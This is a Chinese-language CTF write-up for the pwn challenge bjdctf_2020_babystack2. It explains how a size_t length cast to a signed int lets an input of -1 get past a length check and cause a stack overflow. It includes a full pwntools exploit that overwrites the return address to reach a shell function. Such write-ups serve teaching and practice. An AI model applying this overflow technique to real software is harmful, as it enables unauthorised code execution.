bjdctf_2020_babystack2
此题考整型的有符号无符号的东西。。。
下载文件还是,先检查一下保护。

64位程序,只开启了堆栈不可执行,看一下ida的伪代码。

大概流程就是先让你输入一个数,这个数就是后面read的可以输入的长度,要想进行溢出,就必须有足够的长度,但是有一个校验,不让这个数大于十,我们得想办法绕过这个校验,让我们可以进行溢出。
看一眼nbytes的类型是size_t,从百度百科查了一下,大概是这么个意思。

大概就是一个无符号型整数,无符号型。。。but!!!你们仔细看看伪代码的图的if。
if ( (signed int)nbytes > 10 )
这里强制转换将这个东西转换成有符号的整数,关于整数溢出,大家可以看看这个博客,一看就懂了!
这么来说,假如我们输入一个输入进内存里面的是ffff,对于无符号型,那就是一个正数,但是变成有符号型整数,那么这个值就是-1,这样就绕过了这个检验,溢出长度就可以很长了!!!
贴一下exp:
1 from pwn import *
2
3 p = process('./bjdctf_2020_babystack2')
4 #p = remote('node3.buuoj.cn',27265)
5 context.log_level = 'debug'
6
7 shell_addr = 0x0400726
8 p.recv()
9 p.sendline('-1')
10 p.recv()
11 payload = '\x39'*0x10 + 'bbbbbbbb' + p64(shell_addr)
12 p.send(payload)
13 p.interactive()
bjdctf_2020_babystack2的更多相关文章
- [BUUCTF]PWN——bjdctf_2020_babystack2
bjdctf_2020_babystack2 附件 步骤: 例行检查,64位程序,开启了nx保护 尝试运行一下程序,看看情况 64位ida载入,习惯性的先检索程序里的字符串,发现了bin/sh,双击跟 ...
- BUUCTF-PWN-第一页writep(32题)
温故而知新,可以为师矣.所以花了几天时间重新做了下 buuctf 的 pwn 题,先发下第一页共 32 题的题解.还有如果题解都很详细那么本文就太长了,写起来也浪费时间,所以比较简单的题就直接丢 ex ...
随机推荐
- 手把手教你汇编 Debug
关于汇编的第一篇文章: 爱了爱了,这篇寄存器讲的有点意思 Hello大家好,我是程序员cxuan!我们上篇文章了解了一下基本的寄存器,这篇文章我们来进行实际操作一下. 原文链接:手把手教你汇编 Deb ...
- [cf720D]Slalom
对于每一行,这些障碍将其划分为若干段,记第$i$行($y=i$时)从左到右第$j$段为$[l_{i,j},r_{i,j}]$ 显然一条路径恰好经过每一行中的一段,且两种方案不同当且仅当其中经过的一段不 ...
- docker 配置redis并远程访问
我安装的是这个镜像 docker.io/redis docker pull docker mkdir docker cd docker mkdir redis cd redis mkdir data ...
- 7.3 自定义镜像-运行nginx与tomcat并结合PV/PVC/NFS以实现动静分离示例
1.在NFS SERVER上为tomcat.nginx创建相关目录 NFS SERVER的部署配置参考:https://www.cnblogs.com/yanql/p/15410308.html 1. ...
- FFT/NTT复习笔记&多项式&生成函数学习笔记Ⅰ
众所周知,tzc 在 2019 年(12 月 31 日)就第一次开始接触多项式相关算法,可到 2021 年(1 月 1 日)才开始写这篇 blog. 感觉自己开了个大坑( 多项式 多项式乘法 好吧这个 ...
- python函数理解 json.dump()
信息来自python说明文档(https://docs.python.org/3/library/json.html) 函数功能 输出一个python对象到文件 函数声明 json.dump(obj, ...
- 【数据库】本地KEGG数据库如何拆分子库?
目录 KEGG本地库文件 按物种拆分KEGG数据库 1.获得物种分类信息 2.获得物种分类的序列信息并建库 3.获得物种分类的K-ko对应文件 根据相似性原理,序列相似,功能相似,所有功能注释无非是用 ...
- Oracle--计算某一日期为一年中的第几周
我自己实现的脚本: select T31267.CREATED_DATE as F31265, (select to_char(to_date(T31267.CREATED_DATE,'yyyy-mm ...
- pyyaml模块
pyyaml模块是一种文件数据处理格式的方法,常用与生成.解析或修改.yaml配置文件 1.常见.yaml文件格式内容如下 languages: - Ruby - Perl - Python webs ...
- A Child's History of England.48
A few could not resolve to do this, but the greater part complied. They made a blazing heap of all t ...